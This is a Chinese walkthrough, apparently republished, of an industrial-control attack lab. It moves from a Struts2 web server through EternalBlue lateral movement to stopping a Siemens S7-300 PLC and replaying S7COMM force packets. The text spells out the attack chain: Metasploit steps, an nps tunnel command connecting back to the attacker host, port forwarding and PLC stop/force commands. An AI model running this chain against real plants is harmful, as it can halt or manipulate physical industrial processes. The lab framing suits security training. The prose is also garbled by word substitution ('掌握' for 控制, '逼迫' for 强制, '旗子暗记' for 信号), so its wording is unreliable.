首页 » 互联网 » 工控攻防演示——从外网到内网控制系统设备的入侵_端口_破绽

工控攻防演示——从外网到内网控制系统设备的入侵_端口_破绽

少女玫瑰心 2024-11-10 16:39:31 0

扫一扫用手机浏览

文章目录 [+]

该网络环境中,有两台攻击机处于仿照外网中,分别是一台 windows7 主机和 kali 主机,通过这两台主机进行漏洞利用,获取内网访问权限,进一步获取西门子PLC的掌握权,从而掌握城市沙盘。

二、 演示过程1.资产创造

登录 kali 攻击机,输入 ifconfig 查看 ip 段,

工控攻防演示——从外网到内网控制系统设备的入侵_端口_破绽 互联网

接着对该网段C段进行端口扫描nmap -Pn -n —open 192.168.14.0/24

创造192.168.14.10 开放了 80 和 8080 端口,用浏览器分别访问这两个端口

创造80端口存在一个网站,8080端口为tomcat的默认界面。

2.目录扫描

利用kali 自带的 dirbrute 工具来对8080端口进行目录扫描

设置好字典,对 http://192.168.14.10:8080/ 点击start进行目录扫描

创造一个 test 目录

访问创造是struts2-showcase测试项目

3.Struts2 漏洞利用

涌现struts2框架,可以考试测验利用struts2命令实行漏洞。
输入 msfconsole 打开 msf,如果第一次运行,可以先运行 msfdb init 来初始化 msf 数据库

输入 search struts2 来搜索 struts2 干系漏洞

加载struts2利用模块接下来在msf 设置目标信息并攻击,个中 rhosts 为 struts2 网站的 ip,rport 为网站的端口,targeturi 为存在漏洞的地址。
输入 exploit 开始攻击

可以看到成功获取该struts2 网站的权限,返回了一个 meterpreter shell,输入sysinfo可以看到这台主机的ip为 192.168.90.10, 是linux系统,版本为 Ubuntu 16.04。

4.Nps 内网代理

由于已经获取了位于内网的linux主机权限,可以通过这个meterpreter shell 来设置socks代理,这样就可以msf中访问内网中的其它主机和端口了。
先下载nps客户端和做事端到kali攻击机中解压安装nps./nps install启动npsnps start

访问本地Ip的8080 端口,链接为http://192.168.14.4:8080 可访问nps管理后台,输入admin/123 登录。
点击添加客户端

然后在msf中上传linux_amd64_client.tar.gz客户端到内网linux主机的/tmp/目录中。
upload /root/nps/linux_amd64_client.tar.gz /tmp/nps.tar.gz在linux主机中实行解压

回到nps后台中,展开客户端,复制客户端命令

在msf meterpreter 中实行下面命令让客户端连上做事器execute -f /tmp/npc -a ‘-server=192.168.14.4:8024 -vkey=0fr8k4rsh8tjl8ut -type=tcp’

在后台管理处看到客户端状态是在线即成功连上nps做事器。

接着在后台管理处添加一个socks代理,输入刚才创建的客户端id,端口为1086

此时可以通过本地的1086端口的socks代理访问192.168.90.0 网段的主机。
在msf中输入下面命令设置socks代理。
setg proxies socks5:127.0.0.1:1086

5.永恒之蓝横向移动

设置好到进入192.168.90.0 网段的socks代理后,可以利用msf对该网段进行扫描,先扫描永恒之蓝漏洞

创造 192.168.90.60 主机存在 ms17-010漏洞,接下来利用 ms17-010 漏洞利用模块进行攻击。
由于利用了socks代理,设置反向连接payload时,要设置ReverseAllowProxy

成功获取存在永恒之蓝漏洞主机的权限。

6.信息网络-创造TIA项目

通过查看用户的桌面,创造了Sand_V16目录中存在ap16后缀名的文件。

这是西门子组态软件 TIA Portal (博途)的项目文件,是用于对西门子可编程逻辑掌握器(programmable logic controller,简称PLC)进行编程掌握的软件。
先下载该项目到本地,利用下面命令下载download c:/users/admin/desktop/Sand_V16.zip

7.查看TIA项目

下载完项目后,复制出到一个 windows10系统中解压。
在本地电脑上装一个TIA Portal V16,然后打开该项目,点击项目视图

可以看到该项目中有两个PLC,一个是S7-300,一个是S7-1200。
本演示中紧张先容S7-300

8.西门子S7-300远程启停漏洞利用

西门子S7-300是西门子的一款可编程逻辑掌握器,可编程掌握器由内部CPU,指令及资料存储器、输入输出单元、电源模块、数字仿照等单元所模块化组合成。
PLC可吸收(输入)经由CPU处理后,发送(输出)多种类型的电气或电子旗子暗记,并利用他们来掌握或监督险些所有种类的机器与电气系统。

西门子S7-300 存在远程启停,数据重放等漏洞,可以在不进行身份认证的情形下直接对PLC进行启动、关闭和修正数据。
先获取该S7-300的IP,在项目中展开S7-300,双击设备组态,在属性中的以太网地址中查看IP地址,创造IP为192.168.30.60。

接着在获取权限的windows内网机器上ping 192.168.30.60。
创造可以ping通

S7-300的端口一样平常是102端口,先利用msf的端口转发功能,把192.168.30.60 的102端口转发到kali攻击机上,方便访问portfwd add -l 102 -r 192.168.30.60 -p 102

利用 nmap扫描本地102端口,创造已经转发成功了

接着在kali 攻击机高下载 isf 攻击工具,里面包含了s7-300的攻击模块,当然也可以利用其他脚本也行

运行完后,可以看到PLC进入了stop状态,也便是PLC停滞了。
STOP状态灯亮起

启动plcset command 1run

下面是PLC掌握的沙盘在PLC被关闭后的效果图

直接关闭PLC,会导致正在运行的工业系统停滞运行,从而导致严重的后果。
可以想象一下正在运行的列车失落去了掌握是什么后果。

9.西门子S7-300重放攻击

西门子S7-300 没有防重放机制,只要利用wireshark等抓包工具获取了某个功能的数据包,即可重放该数据。
例如Q0.6是掌握沙盘中信大厦通电的输出,现在要对它单独进行修正,而不影响其它输出。
可以在博途对Q0.6进行逼迫修正,然后抓取该数据包,进行重放即可。
在S7-300的逼迫表中点击监控变量,输入Q0.6,右键逼迫修正为0

利用wireshark抓取该数据包,发送的是S7COMM协议,该协议的详细先容网上比较多资料,这里只对要修正的地方进行先容,下图中 Force代表开启逼迫修正,Address to force 为要修正的地址,图中是Q0.6,个中Startaddress代表Q0.6的0, Bitposition 代表Q0.6的6。
修正这两个数据可以修正任意输出,如Q1.1。
个中的Value to force是要修正的值,在Data字段中为00,也便是要修正成0。

第一次开启逼迫认证时,会在PLC中创建一个工具,并且返回该工具的引用ID,下图中的Force要求相应中的Sequence number字段为4,代表创建的工具引用ID为4,后续修正逼迫表的时候会用到该ID。

连续逼迫Q0.6的值为1,可以看到发送的要求变成了Replace job,也便是修正工具,个中的 reference sequence number 为4 ,也便是修正了前面 Force 要求中创建的工具。
修正的地址也是Q0.6,值为1

然后右键点击停滞逼迫,发送了Delete job 要求,也便是删除了该逼迫表工具个中的 Job reference number 为4。
删除后,所有逼迫修正失落效。

经由剖析后,可以编写一个python脚本来对PLC的值进行修正。
在对应的协议数据中复制tcp payload为hexstream,然后进行相应的修正并重放即可实现对指定值的修正。

下面编写一个模块脚本来对PLC的输出值进行逼迫修正代码中,在Force要求发送后,会记录reference number 用于后续的修正

把脚本放在exploits/plcs/siemens/ 目录中

通过下面命令来利用

发送前S7-300的Q0.6是通电的,中信大厦正常运行

发送后S7-300的Q0.6关闭,中信大厦关闭。

直接修正PLC的关键状态,可能会导致严重的后果,如震网攻击中通过改变离心机转数来毁坏伊朗的核设备。

三、 总结

本次攻防演示中,通过仿照外网攻击进入内网环境,对掌握工业设备的PLC进行了攻击。
整体的攻击过程为:外网web做事器-》内网西门子工程师站-》西门子S7-300 PLC。
其紧张目的是针对工控安全感兴趣的爱好者学习,相互互换。

大禹工控安全实验室由中国网安·广州三零卫士成立,汇聚海内多名漏洞挖掘、二进制逆向、安全剖析、渗透测试、自动化工程师等安全专家组建而成,专注于工业掌握系统安全、工业物联网安全、工业威胁情报安全等安全领域,大禹工控安全实验室始终坚持在工业掌握系统安全领域进行探索和研究

IRTeam工控安全红队属于民间工业安全组织,由履历丰富的工控安全研究员组成,一贯在学习和研究最新的工控漏洞及漏洞利用和防护,同时开拓了Kali ICS工控渗透平台能够供应全方位的工控漏洞挖掘和渗透测试。
在工控的协议安全、HMI安全、工业云安全等领域有着丰富的履历和成果

相关文章